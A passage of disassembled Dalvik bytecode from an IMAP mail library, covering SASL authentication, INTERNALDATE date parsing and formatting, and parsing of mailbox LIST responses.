00000000 iput-object p1, p0, IMAPSaslAuthenticator$1->this$0:IMAPSaslAuthenticator
00000004 iput-object p2, p0, IMAPSaslAuthenticator$1->val$u0:String
00000008 iput-object p3, p0, IMAPSaslAuthenticator$1->val$p0:String
0000000C iput-object p4, p0, IMAPSaslAuthenticator$1->val$r0:String
00000010 invoke-direct Object-><init>()V, p0
00000016 return-void
.end method
.method public handle([Callback)V
.registers 9
00000000 const/4 v2, 0x0
00000002 iget-object v0, p0, IMAPSaslAuthenticator$1->this$0:IMAPSaslAuthenticator
00000006 invoke-static IMAPSaslAuthenticator->access$0(IMAPSaslAuthenticator)Z, v0
0000000C move-result v0
0000000E if-eqz v0, :44
:12
00000012 iget-object v0, p0, IMAPSaslAuthenticator$1->this$0:IMAPSaslAuthenticator
00000016 invoke-static IMAPSaslAuthenticator->access$1(IMAPSaslAuthenticator)PrintStream, v0
0000001C move-result-object v0
0000001E new-instance v1, StringBuilder
00000022 const-string v3, "IMAP SASL DEBUG: callback length: "
00000026 invoke-direct StringBuilder-><init>(String)V, v1, v3
0000002C array-length v3, p1
0000002E invoke-virtual StringBuilder->append(I)StringBuilder, v1, v3
00000034 move-result-object v1
00000036 invoke-virtual StringBuilder->toString()String, v1
0000003C move-result-object v1
0000003E invoke-virtual PrintStream->println(String)V, v0, v1
:44
00000044 move v1, v2
:46
00000046 array-length v0, p1
00000048 if-lt v1, v0, :4E
:4C
0000004C return-void
:4E
0000004E iget-object v0, p0, IMAPSaslAuthenticator$1->this$0:IMAPSaslAuthenticator
00000052 invoke-static IMAPSaslAuthenticator->access$0(IMAPSaslAuthenticator)Z, v0
00000058 move-result v0
0000005A if-eqz v0, :A6
:5E
0000005E iget-object v0, p0, IMAPSaslAuthenticator$1->this$0:IMAPSaslAuthenticator
00000062 invoke-static IMAPSaslAuthenticator->access$1(IMAPSaslAuthenticator)PrintStream, v0
00000068 move-result-object v0
0000006A new-instance v3, StringBuilder
0000006E const-string v4, "IMAP SASL DEBUG: callback "
00000072 invoke-direct StringBuilder-><init>(String)V, v3, v4
00000078 invoke-virtual StringBuilder->append(I)StringBuilder, v3, v1
0000007E move-result-object v3
00000080 const-string v4, ": "
00000084 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v4
0000008A move-result-object v3
0000008C aget-object v4, p1, v1
00000090 invoke-virtual StringBuilder->append(Object)StringBuilder, v3, v4
00000096 move-result-object v3
00000098 invoke-virtual StringBuilder->toString()String, v3
0000009E move-result-object v3
000000A0 invoke-virtual PrintStream->println(String)V, v0, v3
:A6
000000A6 aget-object v0, p1, v1
000000AA instance-of v0, v0, NameCallback
000000AE if-eqz v0, :CC
:B2
000000B2 aget-object v0, p1, v1
000000B6 check-cast v0, NameCallback
000000BA iget-object v3, p0, IMAPSaslAuthenticator$1->val$u0:String
000000BE invoke-virtual NameCallback->setName(String)V, v0, v3
:C4
000000C4 add-int/lit8 v0, v1, 0x1
000000C8 move v1, v0
000000CA goto :46
:CC
000000CC aget-object v0, p1, v1
000000D0 instance-of v0, v0, PasswordCallback
000000D4 if-eqz v0, :F4
:D8
000000D8 aget-object v0, p1, v1
000000DC check-cast v0, PasswordCallback
000000E0 iget-object v3, p0, IMAPSaslAuthenticator$1->val$p0:String
000000E4 invoke-virtual String->toCharArray()[C, v3
000000EA move-result-object v3
000000EC invoke-virtual PasswordCallback->setPassword([C)V, v0, v3
000000F2 goto :C4
:F4
000000F4 aget-object v0, p1, v1
000000F8 instance-of v0, v0, RealmCallback
000000FC if-eqz v0, :126
:100
00000100 aget-object v0, p1, v1
00000104 check-cast v0, RealmCallback
00000108 iget-object v3, p0, IMAPSaslAuthenticator$1->val$r0:String
0000010C if-eqz v3, :11C
:110
00000110 iget-object v3, p0, IMAPSaslAuthenticator$1->val$r0:String
:114
00000114 invoke-virtual RealmCallback->setText(String)V, v0, v3
0000011A goto :C4
:11C
0000011C invoke-virtual RealmCallback->getDefaultText()String, v0
00000122 move-result-object v3
00000124 goto :114
:126
00000126 aget-object v0, p1, v1
0000012A instance-of v0, v0, RealmChoiceCallback
0000012E if-eqz v0, :C4
:132
00000132 aget-object v0, p1, v1
00000136 check-cast v0, RealmChoiceCallback
0000013A iget-object v3, p0, IMAPSaslAuthenticator$1->val$r0:String
0000013E if-nez v3, :152
:142
00000142 invoke-virtual RealmChoiceCallback->getDefaultChoice()I, v0
00000148 move-result v3
0000014A invoke-virtual RealmChoiceCallback->setSelectedIndex(I)V, v0, v3
00000150 goto :C4
:152
00000152 invoke-virtual RealmChoiceCallback->getChoices()[String, v0
00000158 move-result-object v4
0000015A move v3, v2
:15C
0000015C array-length v5, v4
0000015E if-ge v3, v5, :C4
:162
00000162 aget-object v5, v4, v3
00000166 iget-object v6, p0, IMAPSaslAuthenticator$1->val$r0:String
0000016A invoke-virtual String->equals(Object)Z, v5, v6
00000170 move-result v5
00000172 if-eqz v5, :17E
:176
00000176 invoke-virtual RealmChoiceCallback->setSelectedIndex(I)V, v0, v3
0000017C goto :C4
:17E
0000017E add-int/lit8 v3, v3, 0x1
00000182 goto :15C
.end method
#--------------------------------------------------------------------------------
.class public abstract interface SaslAuthenticator
.super Object
.source ""
.method public abstract authenticate([String, String, String, String, String)Z
.end method
#--------------------------------------------------------------------------------
.class public IMAPSaslAuthenticator
.super Object
.source ""
.implements SaslAuthenticator
.field private debug:Z
.field private host:String
.field private name:String
.field private out:PrintStream
.field private pr:IMAPProtocol
.field private props:Properties
.method public constructor <init>(IMAPProtocol, String, Properties, Z, PrintStream, String)V
.registers 7
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, IMAPSaslAuthenticator->pr:IMAPProtocol
0000000A iput-object p2, p0, IMAPSaslAuthenticator->name:String
0000000E iput-object p3, p0, IMAPSaslAuthenticator->props:Properties
00000012 iput-boolean p4, p0, IMAPSaslAuthenticator->debug:Z
00000016 iput-object p5, p0, IMAPSaslAuthenticator->out:PrintStream
0000001A iput-object p6, p0, IMAPSaslAuthenticator->host:String
0000001E return-void
.end method
.method static synthetic access$0(IMAPSaslAuthenticator)Z
.registers 2
00000000 iget-boolean v0, p0, IMAPSaslAuthenticator->debug:Z
00000004 return v0
.end method
.method static synthetic access$1(IMAPSaslAuthenticator)PrintStream
.registers 2
00000000 iget-object v0, p0, IMAPSaslAuthenticator->out:PrintStream
00000004 return-object v0
.end method
.method public authenticate([String, String, String, String, String)Z
.registers 25
00000000 move-object/from16 v0, p0
00000004 iget-object v12, v0, IMAPSaslAuthenticator->pr:IMAPProtocol
00000008 monitor-enter v12
:A
0000000A new-instance v13, Vector
0000000E invoke-direct Vector-><init>()V, v13
00000014 const/4 v11, 0x0
00000016 const/4 v10, 0x0
00000018 move-object/from16 v0, p0
0000001C iget-boolean v4, v0, IMAPSaslAuthenticator->debug:Z
00000020 if-eqz v4, :50
:24
00000024 move-object/from16 v0, p0
00000028 iget-object v4, v0, IMAPSaslAuthenticator->out:PrintStream
0000002C const-string v5, "IMAP SASL DEBUG: Mechanisms:"
00000030 invoke-virtual PrintStream->print(String)V, v4, v5
00000036 const/4 v4, 0x0
:38
00000038 move-object/from16 v0, p1
0000003C array-length v5, v0
0000003E if-lt v4, v5, :BA
:42
00000042 move-object/from16 v0, p0
00000046 iget-object v4, v0, IMAPSaslAuthenticator->out:PrintStream
0000004A invoke-virtual PrintStream->println()V, v4
:50
00000050 new-instance v9, IMAPSaslAuthenticator$1
00000054 move-object/from16 v0, p0
00000058 move-object/from16 v1, p4
0000005C move-object/from16 v2, p5
00000060 move-object/from16 v3, p2
00000064 invoke-direct IMAPSaslAuthenticator$1-><init>(IMAPSaslAuthenticator, String, String, String)V, v9, v0, v1, v2, v3
:6A
0000006A move-object/from16 v0, p0
0000006E iget-object v6, v0, IMAPSaslAuthenticator->name:String
00000072 move-object/from16 v0, p0
00000076 iget-object v7, v0, IMAPSaslAuthenticator->host:String
0000007A move-object/from16 v0, p0
0000007E iget-object v8, v0, IMAPSaslAuthenticator->props:Properties
00000082 move-object/from16 v4, p1
00000086 move-object/from16 v5, p3
0000008A invoke-static/range Sasl->createSaslClient([String, String, String, String, Map, CallbackHandler)SaslClient, v4 .. v9
:90
00000090 move-result-object v7
00000092 if-nez v7, :130
:96
00000096 move-object/from16 v0, p0
0000009A iget-boolean v4, v0, IMAPSaslAuthenticator->debug:Z
0000009E if-eqz v4, :B4
:A2
000000A2 move-object/from16 v0, p0
000000A6 iget-object v4, v0, IMAPSaslAuthenticator->out:PrintStream
000000AA const-string v5, "IMAP SASL DEBUG: No SASL support"
000000AE invoke-virtual PrintStream->println(String)V, v4, v5
:B4
000000B4 monitor-exit v12
000000B6 const/4 v4, 0x0
:B8
000000B8 return v4
:BA
000000BA move-object/from16 v0, p0
000000BE iget-object v5, v0, IMAPSaslAuthenticator->out:PrintStream
000000C2 new-instance v6, StringBuilder
000000C6 const-string v7, " "
000000CA invoke-direct StringBuilder-><init>(String)V, v6, v7
000000D0 aget-object v7, p1, v4
000000D4 invoke-virtual StringBuilder->append(String)StringBuilder, v6, v7
000000DA move-result-object v6
000000DC invoke-virtual StringBuilder->toString()String, v6
000000E2 move-result-object v6
000000E4 invoke-virtual PrintStream->print(String)V, v5, v6
000000EA add-int/lit8 v4, v4, 0x1
000000EE goto :38
:F0
000000F0 move-exception v4
000000F2 move-object/from16 v0, p0
000000F6 iget-boolean v5, v0, IMAPSaslAuthenticator->debug:Z
000000FA if-eqz v5, :12A
:FE
000000FE move-object/from16 v0, p0
00000102 iget-object v5, v0, IMAPSaslAuthenticator->out:PrintStream
00000106 new-instance v6, StringBuilder
0000010A const-string v7, "IMAP SASL DEBUG: Failed to create SASL client: "
0000010E invoke-direct StringBuilder-><init>(String)V, v6, v7
00000114 invoke-virtual StringBuilder->append(Object)StringBuilder, v6, v4
0000011A move-result-object v4
0000011C invoke-virtual StringBuilder->toString()String, v4
00000122 move-result-object v4
00000124 invoke-virtual PrintStream->println(String)V, v5, v4
:12A
0000012A monitor-exit v12
0000012C const/4 v4, 0x0
0000012E goto :B8
:130
00000130 move-object/from16 v0, p0
00000134 iget-boolean v4, v0, IMAPSaslAuthenticator->debug:Z
00000138 if-eqz v4, :170
:13C
0000013C move-object/from16 v0, p0
00000140 iget-object v4, v0, IMAPSaslAuthenticator->out:PrintStream
00000144 new-instance v5, StringBuilder
00000148 const-string v6, "IMAP SASL DEBUG: SASL client "
0000014C invoke-direct StringBuilder-><init>(String)V, v5, v6
00000152 invoke-interface SaslClient->getMechanismName()String, v7
00000158 move-result-object v6
0000015A invoke-virtual StringBuilder->append(String)StringBuilder, v5, v6
00000160 move-result-object v5
00000162 invoke-virtual StringBuilder->toString()String, v5
00000168 move-result-object v5
0000016A invoke-virtual PrintStream->println(String)V, v4, v5
:170
00000170 move-object/from16 v0, p0
00000174 iget-object v4, v0, IMAPSaslAuthenticator->pr:IMAPProtocol
00000178 new-instance v5, StringBuilder
0000017C const-string v6, "AUTHENTICATE "
00000180 invoke-direct StringBuilder-><init>(String)V, v5, v6
00000186 invoke-interface SaslClient->getMechanismName()String, v7
0000018C move-result-object v6
0000018E invoke-virtual StringBuilder->append(String)StringBuilder, v5, v6
00000194 move-result-object v5
00000196 invoke-virtual StringBuilder->toString()String, v5
0000019C move-result-object v5
0000019E const/4 v6, 0x0
000001A0 invoke-virtual IMAPProtocol->writeCommand(String, Argument)String, v4, v5, v6
:1A6
000001A6 move-result-object v8
:1A8
000001A8 move-object/from16 v0, p0
000001AC iget-object v4, v0, IMAPSaslAuthenticator->pr:IMAPProtocol
000001B0 invoke-virtual IMAPProtocol->getIMAPOutputStream()OutputStream, v4
000001B6 move-result-object v9
000001B8 new-instance v14, ByteArrayOutputStream
000001BC invoke-direct ByteArrayOutputStream-><init>()V, v14
000001C2 const/4 v4, 0x2
000001C4 new-array v15, v4, [B
000001C8 fill-array-data v15, :4F0
000001CE invoke-interface SaslClient->getMechanismName()String, v7
000001D4 move-result-object v4
000001D6 const-string v5, "XGWTRUSTEDAPP"
000001DA invoke-virtual String->equals(Object)Z, v4, v5
000001E0 move-result v16
000001E2 move v5, v10
000001E4 move-object v6, v11
:1E6
000001E6 if-eqz v5, :292
:1EA
000001EA invoke-interface SaslClient->isComplete()Z, v7
000001F0 move-result v4
000001F2 if-eqz v4, :4AC
:1F6
000001F6 const-string v4, "javax.security.sasl.qop"
000001FA invoke-interface SaslClient->getNegotiatedProperty(String)Object, v7, v4
00000200 move-result-object v4
00000202 check-cast v4, String
00000206 if-eqz v4, :4AC
:20A
0000020A const-string v5, "auth-int"
0000020E invoke-virtual String->equalsIgnoreCase(String)Z, v4, v5
00000214 move-result v5
00000216 if-nez v5, :22A
:21A
0000021A const-string v5, "auth-conf"
0000021E invoke-virtual String->equalsIgnoreCase(String)Z, v4, v5
00000224 move-result v4
00000226 if-eqz v4, :4AC
:22A
0000022A move-object/from16 v0, p0
0000022E iget-boolean v4, v0, IMAPSaslAuthenticator->debug:Z
00000232 if-eqz v4, :248
:236
00000236 move-object/from16 v0, p0
0000023A iget-object v4, v0, IMAPSaslAuthenticator->out:PrintStream
0000023E const-string v5, "IMAP SASL DEBUG: Mechanism requires integrity or confidentiality"
00000242 invoke-virtual PrintStream->println(String)V, v4, v5
:248
00000248 monitor-exit v12
0000024A const/4 v4, 0x0
0000024C goto/16 :B8
:250
00000250 move-exception v4
00000252 move-object/from16 v0, p0
00000256 iget-boolean v5, v0, IMAPSaslAuthenticator->debug:Z
0000025A if-eqz v5, :28A
:25E
0000025E move-object/from16 v0, p0
00000262 iget-object v5, v0, IMAPSaslAuthenticator->out:PrintStream
00000266 new-instance v6, StringBuilder
0000026A const-string v7, "IMAP SASL DEBUG: AUTHENTICATE Exception: "
0000026E invoke-direct StringBuilder-><init>(String)V, v6, v7
00000274 invoke-virtual StringBuilder->append(Object)StringBuilder, v6, v4
0000027A move-result-object v4
0000027C invoke-virtual StringBuilder->toString()String, v4
00000282 move-result-object v4
00000284 invoke-virtual PrintStream->println(String)V, v5, v4
:28A
0000028A monitor-exit v12
:28C
0000028C const/4 v4, 0x0
0000028E goto/16 :B8
:292
00000292 move-object/from16 v0, p0
00000296 iget-object v4, v0, IMAPSaslAuthenticator->pr:IMAPProtocol
0000029A invoke-virtual IMAPProtocol->readResponse()Response, v4
000002A0 move-result-object v6
000002A2 invoke-virtual Response->isContinuation()Z, v6
000002A8 move-result v4
000002AA if-eqz v4, :466
:2AE
000002AE const/4 v4, 0x0
000002B0 check-cast v4, [B
000002B4 invoke-interface SaslClient->isComplete()Z, v7
000002BA move-result v10
000002BC if-nez v10, :350
:2C0
000002C0 invoke-virtual Response->readByteArray()ByteArray, v6
000002C6 move-result-object v4
000002C8 invoke-virtual ByteArray->getNewBytes()[B, v4
000002CE move-result-object v4
000002D0 array-length v10, v4
000002D2 if-lez v10, :2DE
:2D6
000002D6 invoke-static BASE64DecoderStream->decode([B)[B, v4
000002DC move-result-object v4
:2DE
000002DE move-object/from16 v0, p0
000002E2 iget-boolean v10, v0, IMAPSaslAuthenticator->debug:Z
000002E6 if-eqz v10, :348
:2EA
000002EA move-object/from16 v0, p0
000002EE iget-object v10, v0, IMAPSaslAuthenticator->out:PrintStream
000002F2 new-instance v11, StringBuilder
000002F6 const-string v17, "IMAP SASL DEBUG: challenge: "
000002FA move-object/from16 v0, v17
000002FE invoke-direct StringBuilder-><init>(String)V, v11, v0
00000304 const/16 v17, 0x0
00000308 array-length v0, v4
0000030A move/from16 v18, v0
0000030E move/from16 v0, v17
00000312 move/from16 v1, v18
00000316 invoke-static ASCIIUtility->toString([B, I, I)String, v4, v0, v1
0000031C move-result-object v17
0000031E move-object/from16 v0, v17
00000322 invoke-virtual StringBuilder->append(String)StringBuilder, v11, v0
00000328 move-result-object v11
0000032A const-string v17, " :"
0000032E move-object/from16 v0, v17
00000332 invoke-virtual StringBuilder->append(String)StringBuilder, v11, v0
00000338 move-result-object v11
0000033A invoke-virtual StringBuilder->toString()String, v11
00000340 move-result-object v11
00000342 invoke-virtual PrintStream->println(String)V, v10, v11
:348
00000348 invoke-interface SaslClient->evaluateChallenge([B)[B, v7, v4
0000034E move-result-object v4
:350
00000350 if-nez v4, :3AE
:354
00000354 move-object/from16 v0, p0
00000358 iget-boolean v4, v0, IMAPSaslAuthenticator->debug:Z
0000035C if-eqz v4, :372
:360
00000360 move-object/from16 v0, p0
00000364 iget-object v4, v0, IMAPSaslAuthenticator->out:PrintStream
00000368 const-string v10, "IMAP SASL DEBUG: no response"
0000036C invoke-virtual PrintStream->println(String)V, v4, v10
:372
00000372 invoke-virtual OutputStream->write([B)V, v9, v15
00000378 invoke-virtual OutputStream->flush()V, v9
0000037E invoke-virtual ByteArrayOutputStream->reset()V, v14
:384
00000384 goto/16 :1E6
:388
00000388 move-exception v4
:38A
0000038A move-object/from16 v0, p0
0000038E iget-boolean v5, v0, IMAPSaslAuthenticator->debug:Z
00000392 if-eqz v5, :39C
:396
00000396 invoke-virtual Exception->printStackTrace()V, v4
:39C
0000039C invoke-static Response->byeResponse(Exception)Response, v4
:3A2
000003A2 move-result-object v5
000003A4 const/4 v4, 0x1
000003A6 move-object v6, v5
000003A8 move v5, v4
000003AA goto/16 :1E6
:3AE
000003AE move-object/from16 v0, p0
000003B2 iget-boolean v10, v0, IMAPSaslAuthenticator->debug:Z
000003B6 if-eqz v10, :418
:3BA
000003BA move-object/from16 v0, p0
000003BE iget-object v10, v0, IMAPSaslAuthenticator->out:PrintStream
000003C2 new-instance v11, StringBuilder
000003C6 const-string v17, "IMAP SASL DEBUG: response: "
000003CA move-object/from16 v0, v17
000003CE invoke-direct StringBuilder-><init>(String)V, v11, v0
000003D4 const/16 v17, 0x0
000003D8 array-length v0, v4
000003DA move/from16 v18, v0
000003DE move/from16 v0, v17
000003E2 move/from16 v1, v18
000003E6 invoke-static ASCIIUtility->toString([B, I, I)String, v4, v0, v1
000003EC move-result-object v17
000003EE move-object/from16 v0, v17
000003F2 invoke-virtual StringBuilder->append(String)StringBuilder, v11, v0
000003F8 move-result-object v11
000003FA const-string v17, " :"
000003FE move-object/from16 v0, v17
00000402 invoke-virtual StringBuilder->append(String)StringBuilder, v11, v0
00000408 move-result-object v11
0000040A invoke-virtual StringBuilder->toString()String, v11
00000410 move-result-object v11
00000412 invoke-virtual PrintStream->println(String)V, v10, v11
:418
00000418 invoke-static BASE64EncoderStream->encode([B)[B, v4
0000041E move-result-object v4
00000420 if-eqz v16, :436
:424
00000424 const-string v10, "XGWTRUSTEDAPP "
00000428 invoke-virtual String->getBytes()[B, v10
0000042E move-result-object v10
00000430 invoke-virtual ByteArrayOutputStream->write([B)V, v14, v10
:436
00000436 invoke-virtual ByteArrayOutputStream->write([B)V, v14, v4
0000043C invoke-virtual ByteArrayOutputStream->write([B)V, v14, v15
00000442 invoke-virtual ByteArrayOutputStream->toByteArray()[B, v14
00000448 move-result-object v4
0000044A invoke-virtual OutputStream->write([B)V, v9, v4
00000450 invoke-virtual OutputStream->flush()V, v9
00000456 invoke-virtual ByteArrayOutputStream->reset()V, v14
:45C
0000045C goto/16 :1E6
:460
00000460 move-exception v4
:462
00000462 monitor-exit v12
:464
00000464 throw v4
:466
00000466 invoke-virtual Response->isTagged()Z, v6
0000046C move-result v4
0000046E if-eqz v4, :48E
:472
00000472 invoke-virtual Response->getTag()String, v6
00000478 move-result-object v4
0000047A invoke-virtual String->equals(Object)Z, v4, v8
00000480 move-result v4
00000482 if-eqz v4, :48E
:486
00000486 const/4 v4, 0x1
00000488 move v5, v4
0000048A goto/16 :1E6
:48E
0000048E invoke-virtual Response->isBYE()Z, v6
00000494 move-result v4
00000496 if-eqz v4, :4A2
:49A
0000049A const/4 v4, 0x1
0000049C move v5, v4
0000049E goto/16 :1E6
:4A2
000004A2 invoke-virtual Vector->addElement(Object)V, v13, v6
:4A8
000004A8 goto/16 :1E6
:4AC
000004AC invoke-virtual Vector->size()I, v13
000004B2 move-result v4
000004B4 new-array v4, v4, [Response
000004B8 invoke-virtual Vector->copyInto([Object)V, v13, v4
000004BE move-object/from16 v0, p0
000004C2 iget-object v5, v0, IMAPSaslAuthenticator->pr:IMAPProtocol
000004C6 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, v5, v4
000004CC move-object/from16 v0, p0
000004D0 iget-object v4, v0, IMAPSaslAuthenticator->pr:IMAPProtocol
000004D4 invoke-virtual IMAPProtocol->handleResult(Response)V, v4, v6
000004DA move-object/from16 v0, p0
000004DE iget-object v4, v0, IMAPSaslAuthenticator->pr:IMAPProtocol
000004E2 invoke-virtual IMAPProtocol->setCapabilities(Response)V, v4, v6
000004E8 monitor-exit v12
:4EA
000004EA const/4 v4, 0x1
000004EC goto/16 :B8
.catchall {:A .. :6A} :460
.catch SaslException {:6A .. :90} :F0
.catchall {:6A .. :90} :460
.catchall {:96 .. :170} :460
.catch Exception {:170 .. :1A6} :250
.catchall {:170 .. :1A6} :460
.catchall {:1A8 .. :28C} :460
.catch Exception {:292 .. :384} :388
.catchall {:292 .. :384} :460
.catchall {:38A .. :3A2} :460
.catch Exception {:3AE .. :45C} :388
.catchall {:3AE .. :45C} :460
.catchall {:462 .. :464} :460
.catch Exception {:466 .. :4A8} :388
.catchall {:466 .. :4A8} :460
.catchall {:4AC .. :4EA} :460
000004F0 .array-data 1 x 0x2
0xD
0xA
.end array-data
.end method
#--------------------------------------------------------------------------------
.class public INTERNALDATE
.super Object
.source ""
.implements Item
.field private static df:SimpleDateFormat
.field private static mailDateFormat:MailDateFormat
.field static final name:[C
.field protected date:Date
.field public msgno:I
.method static constructor <clinit>()V
.registers 3
00000000 const/16 v0, 0xC
00000004 new-array v0, v0, [C
00000008 fill-array-data v0, :38
0000000E sput-object v0, INTERNALDATE->name:[C
00000012 new-instance v0, MailDateFormat
00000016 invoke-direct MailDateFormat-><init>()V, v0
0000001C sput-object v0, INTERNALDATE->mailDateFormat:MailDateFormat
00000020 new-instance v0, SimpleDateFormat
00000024 const-string v1, "dd-MMM-yyyy HH:mm:ss "
00000028 sget-object v2, Locale->US:Locale
0000002C invoke-direct SimpleDateFormat-><init>(String, Locale)V, v0, v1, v2
00000032 sput-object v0, INTERNALDATE->df:SimpleDateFormat
00000036 return-void
00000038 .array-data 2 x 0xC
0x49
0x4E
0x54
0x45
0x52
0x4E
0x41
0x4C
0x44
0x41
0x54
0x45
.end array-data
.end method
.method public constructor <init>(FetchResponse)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 invoke-virtual FetchResponse->getNumber()I, p1
0000000C move-result v0
0000000E iput v0, p0, INTERNALDATE->msgno:I
00000012 invoke-virtual FetchResponse->skipSpaces()V, p1
00000018 invoke-virtual FetchResponse->readString()String, p1
0000001E move-result-object v0
00000020 if-nez v0, :34
:24
00000024 new-instance v0, ParsingException
00000028 const-string v1, "INTERNALDATE is NIL"
0000002C invoke-direct ParsingException-><init>(String)V, v0, v1
00000032 throw v0
:34
00000034 sget-object v1, INTERNALDATE->mailDateFormat:MailDateFormat
00000038 invoke-virtual MailDateFormat->parse(String)Date, v1, v0
0000003E move-result-object v0
00000040 iput-object v0, p0, INTERNALDATE->date:Date
:44
00000044 return-void
:46
00000046 move-exception v0
00000048 new-instance v0, ParsingException
0000004C const-string v1, "INTERNALDATE parse error"
00000050 invoke-direct ParsingException-><init>(String)V, v0, v1
00000056 throw v0
.catch ParseException {:34 .. :44} :46
.end method
.method public static format(Date)String
.registers 7
00000000 const/16 v5, 0xA
00000004 new-instance v1, StringBuffer
00000008 invoke-direct StringBuffer-><init>()V, v1
0000000E sget-object v2, INTERNALDATE->df:SimpleDateFormat
00000012 monitor-enter v2
:14
00000014 sget-object v0, INTERNALDATE->df:SimpleDateFormat
00000018 new-instance v3, FieldPosition
0000001C const/4 v4, 0x0
0000001E invoke-direct FieldPosition-><init>(I)V, v3, v4
00000024 invoke-virtual SimpleDateFormat->format(Date, StringBuffer, FieldPosition)StringBuffer, v0, p0, v1, v3
0000002A monitor-exit v2
:2C
0000002C invoke-virtual Date->getTimezoneOffset()I, p0
00000032 move-result v0
00000034 neg-int v0, v0
00000036 if-gez v0, :A6
:3A
0000003A const/16 v2, 0x2D
0000003E invoke-virtual StringBuffer->append(C)StringBuffer, v1, v2
00000044 neg-int v0, v0
:46
00000046 div-int/lit8 v2, v0, 0x3C
0000004A rem-int/lit8 v0, v0, 0x3C
0000004E div-int/lit8 v3, v2, 0xA
00000052 invoke-static Character->forDigit(I, I)C, v3, v5
00000058 move-result v3
0000005A invoke-virtual StringBuffer->append(C)StringBuffer, v1, v3
00000060 rem-int/lit8 v2, v2, 0xA
00000064 invoke-static Character->forDigit(I, I)C, v2, v5
0000006A move-result v2
0000006C invoke-virtual StringBuffer->append(C)StringBuffer, v1, v2
00000072 div-int/lit8 v2, v0, 0xA
00000076 invoke-static Character->forDigit(I, I)C, v2, v5
0000007C move-result v2
0000007E invoke-virtual StringBuffer->append(C)StringBuffer, v1, v2
00000084 rem-int/lit8 v0, v0, 0xA
00000088 invoke-static Character->forDigit(I, I)C, v0, v5
0000008E move-result v0
00000090 invoke-virtual StringBuffer->append(C)StringBuffer, v1, v0
00000096 invoke-virtual StringBuffer->toString()String, v1
0000009C move-result-object v0
0000009E return-object v0
:A0
000000A0 move-exception v0
:A2
000000A2 monitor-exit v2
:A4
000000A4 throw v0
:A6
000000A6 const/16 v2, 0x2B
000000AA invoke-virtual StringBuffer->append(C)StringBuffer, v1, v2
000000B0 goto :46
.catchall {:14 .. :2C} :A0
.catchall {:A2 .. :A4} :A0
.end method
.method public getDate()Date
.registers 2
00000000 iget-object v0, p0, INTERNALDATE->date:Date
00000004 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public ListInfo
.super Object
.source ""
.field public static final CHANGED:I = 0x1
.field public static final INDETERMINATE:I = 0x3
.field public static final UNCHANGED:I = 0x2
.field public attrs:[String
.field public canOpen:Z
.field public changeState:I
.field public hasInferiors:Z
.field public name:String
.field public separator:C
.method public constructor <init>(IMAPResponse)V
.registers 10
00000000 const/4 v7, 0x2
00000002 const/4 v1, 0x0
00000004 const/4 v6, 0x1
00000006 invoke-direct Object-><init>()V, p0
0000000C const/4 v0, 0x0
0000000E iput-object v0, p0, ListInfo->name:String
00000012 const/16 v0, 0x2F
00000016 iput-char v0, p0, ListInfo->separator:C
0000001A iput-boolean v6, p0, ListInfo->hasInferiors:Z
0000001E iput-boolean v6, p0, ListInfo->canOpen:Z
00000022 const/4 v0, 0x3
00000024 iput v0, p0, ListInfo->changeState:I
00000028 invoke-virtual IMAPResponse->readSimpleList()[String, p1
0000002E move-result-object v2
00000030 new-instance v3, Vector
00000034 invoke-direct Vector-><init>()V, v3
0000003A if-eqz v2, :46
:3E
0000003E move v0, v1
:40
00000040 array-length v4, v2
00000042 if-lt v0, v4, :C4
:46
00000046 invoke-virtual Vector->size()I, v3
0000004C move-result v0
0000004E new-array v0, v0, [String
00000052 iput-object v0, p0, ListInfo->attrs:[String
00000056 iget-object v0, p0, ListInfo->attrs:[String
0000005A invoke-virtual Vector->copyInto([Object)V, v3, v0
00000060 invoke-virtual IMAPResponse->skipSpaces()V, p1
00000066 invoke-virtual IMAPResponse->readByte()B, p1
0000006C move-result v0
0000006E const/16 v1, 0x22
00000072 if-ne v0, v1, :13A
:76
00000076 invoke-virtual IMAPResponse->readByte()B, p1
0000007C move-result v0
0000007E int-to-char v0, v0
00000080 iput-char v0, p0, ListInfo->separator:C
00000084 const/16 v1, 0x5C
00000088 if-ne v0, v1, :9A
:8C
0000008C invoke-virtual IMAPResponse->readByte()B, p1
00000092 move-result v0
00000094 int-to-char v0, v0
00000096 iput-char v0, p0, ListInfo->separator:C
:9A
0000009A invoke-virtual IMAPResponse->skip(I)V, p1, v6
:A0
000000A0 invoke-virtual IMAPResponse->skipSpaces()V, p1
000000A6 invoke-virtual IMAPResponse->readAtomString()String, p1
000000AC move-result-object v0
000000AE iput-object v0, p0, ListInfo->name:String
000000B2 iget-object v0, p0, ListInfo->name:String
000000B6 invoke-static BASE64MailboxDecoder->decode(String)String, v0
000000BC move-result-object v0
000000BE iput-object v0, p0, ListInfo->name:String
000000C2 return-void
:C4
000000C4 aget-object v4, v2, v0
000000C8 const-string v5, "\\Marked"
000000CC invoke-virtual String->equalsIgnoreCase(String)Z, v4, v5
000000D2 move-result v4
000000D4 if-eqz v4, :EC
:D8
000000D8 iput v6, p0, ListInfo->changeState:I
:DC
000000DC aget-object v4, v2, v0
000000E0 invoke-virtual Vector->addElement(Object)V, v3, v4
000000E6 add-int/lit8 v0, v0, 0x1
000000EA goto :40
:EC
000000EC aget-object v4, v2, v0
000000F0 const-string v5, "\\Unmarked"
000000F4 invoke-virtual String->equalsIgnoreCase(String)Z, v4, v5
000000FA move-result v4
000000FC if-eqz v4, :106
:100
00000100 iput v7, p0, ListInfo->changeState:I
00000104 goto :DC
:106
00000106 aget-object v4, v2, v0
0000010A const-string v5, "\\Noselect"
0000010E invoke-virtual String->equalsIgnoreCase(String)Z, v4, v5
00000114 move-result v4
00000116 if-eqz v4, :120
:11A
0000011A iput-boolean v1, p0, ListInfo->canOpen:Z
0000011E goto :DC
:120
00000120 aget-object v4, v2, v0
00000124 const-string v5, "\\Noinferiors"
00000128 invoke-virtual String->equalsIgnoreCase(String)Z, v4, v5
0000012E move-result v4
00000130 if-eqz v4, :DC
:134
00000134 iput-boolean v1, p0, ListInfo->hasInferiors:Z
00000138 goto :DC
:13A
0000013A invoke-virtual IMAPResponse->skip(I)V, p1, v7
00000140 goto :A0
.end method
#--------------------------------------------------------------------------------
.class public MailboxInfo
.super Object
.source ""
.field public availableFlags:Flags
.field public first:I
.field public mode:I
.field public permanentFlags:Flags
.field public recent:I
.field public total:I
.field public uidnext:J
